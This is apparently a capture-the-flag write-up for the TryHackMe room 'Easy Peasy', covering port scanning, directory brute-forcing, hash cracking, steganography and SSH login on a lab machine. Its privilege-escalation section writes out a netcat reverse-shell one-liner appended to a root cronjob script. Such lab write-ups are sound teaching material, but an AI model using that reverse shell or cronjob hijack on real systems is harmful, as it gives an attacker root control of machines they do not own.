> For the complete documentation index, see [llms.txt](https://writeups.adityadindi.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://writeups.adityadindi.com/tryhackme/untitled/easy-peasy.md).

# Easy Peasy

![](/files/-Mc0So3sFHDvYzE6o8sv)

## Reconnaissance

Initial nmap scan to find all open ports

```
nmap -p- -T5 10.10.53.168
```

![](/files/-Mc0Vce88L1uCBbstAtY)

There are three ports open

![](/files/-Mc0VtlciQrUiu1p3tRC)

Detailed Nmap Scan : 

Command Breakdown: 

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 80,6498,65524
* (**-oN nmap**): Saving it into a file called nmap

```
nmap -sV -sC -p 80,6498,65524 -oN nmap 10.10.53.168
```

![](/files/-Mc0VniToMMzLPupJHPZ)

The version of `nginx is 1.16.1`

![](/files/-Mc0W0X-2_3HbPkcqu-g)

Apache is running on the highest port

![](/files/-Mc0WCus0VHTQLErg99d)

## Enumeration

### Port 80: HTTP

Lets visit the site.

![](/files/-Mc0WSbeHnPR6lIk1Rjp)

There is nothing interesting in the links provided and in the source code, lets run `gobuster` to find hidden files and directories.

```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.53.168/
```

![](/files/-Mc0_T3559PexdYBvioy)

Looks like we found a directory, lets run another gobuster scan on this directory while we explore this one.

![](/files/-Mc0aJUtiMW4fSEG1eAI)

We found another directory, lets visit both these pages.

![](/files/-Mc0b16tfZUeOGKaLu7Q)

There seems to be nothing, lets go to the whatever directory

![](/files/-Mc0bWbaufe4QjD6ID0c)

There is nothing on the page, lets look at the source code

![](/files/-Mc0bbJdFbytJU2KTtqA)

We have a hash, lets decrypt it.

![](/files/-Mc0bupx9jVpT1UmWQPB)

We have the first flag

![](/files/-Mc0c0saglOtYfmozSmV)

### Port 65524: HTTP

Lets visit the site

![](/files/-Mc0XQJIv29IRgEWTDBo)

Its a Apache 2 default page, scrolling down a bit, we find flag 3.

![](/files/-Mc0a-Xsw6kpICY-EZ4p)

![](/files/-Mc0aFB9fCRhaeqWKFBO)

Lets run gobuster to find hidden directories and files.

```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.53.168:65524/
```

While gobuster is running lets check the `robots.txt` page, we find some interesting information there.

![](/files/-Mc0Ya9Nmg8oF3rtODiW)

This looks like a hash, lets try to crack it. Lets first try to identify what type of hash it is

![](/files/-Mc0afKh2hnSZxY7rDAi)

Its a MD5 hash, now lets crack it.

![](/files/-Mc0amGHgUFI2jrNN_yU)

And we have the second flag.

![](/files/-Mc0arCjEhmJKEEU4ZkG)

Looking back at the default page, we have something else in the source code

![](/files/-Mc0cysGg96X7ZJsMl33)

Another hash. Lets crack it

![](/files/-Mc0dFJ5MAl_ILR1JBtu)

Its another directory, lets visit it.

![](/files/-Mc0dP0pINuVK6KsF9Ys)

Its a page with binary code image, lets look at the source code.

![](/files/-Mc0dkuCPnTVV6915Yff)

We have a string, lets try to identify the hash.

![](/files/-Mc0e3p3sgaB9rZ22LC5)

Lets crack it.

![](/files/-Mc0eeFx-6wRfq96s7ZO)

Looks like it is a password

Now lets download the binary picture and see if there is anything hidden in it using `steghide`.

```
steghide --extract -sf binarycodepixabay.jpg
```

It is asking for a password, so I used the one we just found.

![](/files/-Mc0eqwfqXEI7a-ocPYc)

We found a text file, lets read it.

![](/files/-Mc0ewJCSTf4A_GU6zk-)

We have a username and a password in binary, lets decode it.

![](/files/-Mc0f5re_tIXRJu74xz6)

We found the password, lets login through ssh. The ssh server is running on port `6498` based on our nmap scan.

```
ssh -p 6498 boring@10.10.53.168
```

![](/files/-Mc0fZ3EIpf_GpdvJCfR)

We are logged in.

We can read the user.txt file, but it seems to be encrypted, so I will leave cracking it to you. (Hint: CyberChef and ROT 13)

![](/files/-Mc0ftJgzYZjyt_bC-Ef)

We can also answer all the other questions

![](/files/-Mc0gCt8wWPk_GuT9A0r)

## Privilege Escalation

As the room had cronjob as one of its tags, I looked for `.sh` file in the system that belonged to the user boring.

```
find / -type f -user boring -name *.sh 2>/dev/null
```

![](/files/-Mc0h9-8tC0Wk9tvZpQA)

Looks like we have a file, lets look at it.

![](/files/-Mc0hGHMsk4AuIqkXXuA)

It says it will run as root, so why don't we echo a reverse shell into the file to get a shell as root.

```
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.13.8.64 1234 >/tmp/f" >> .mysecretcronjob.sh
```

Make sure to change the IP in the command and start a netcat listener

![](/files/-Mc0hbnCw6aoGbnjb6ku)

Once you echo the command into the file, the contents of the file should look like this.

![](/files/-Mc0imnhRimz9gZngqK0)

After a while you should get a shell as root

![](/files/-Mc0iBpPvHcu4a4mgNQl)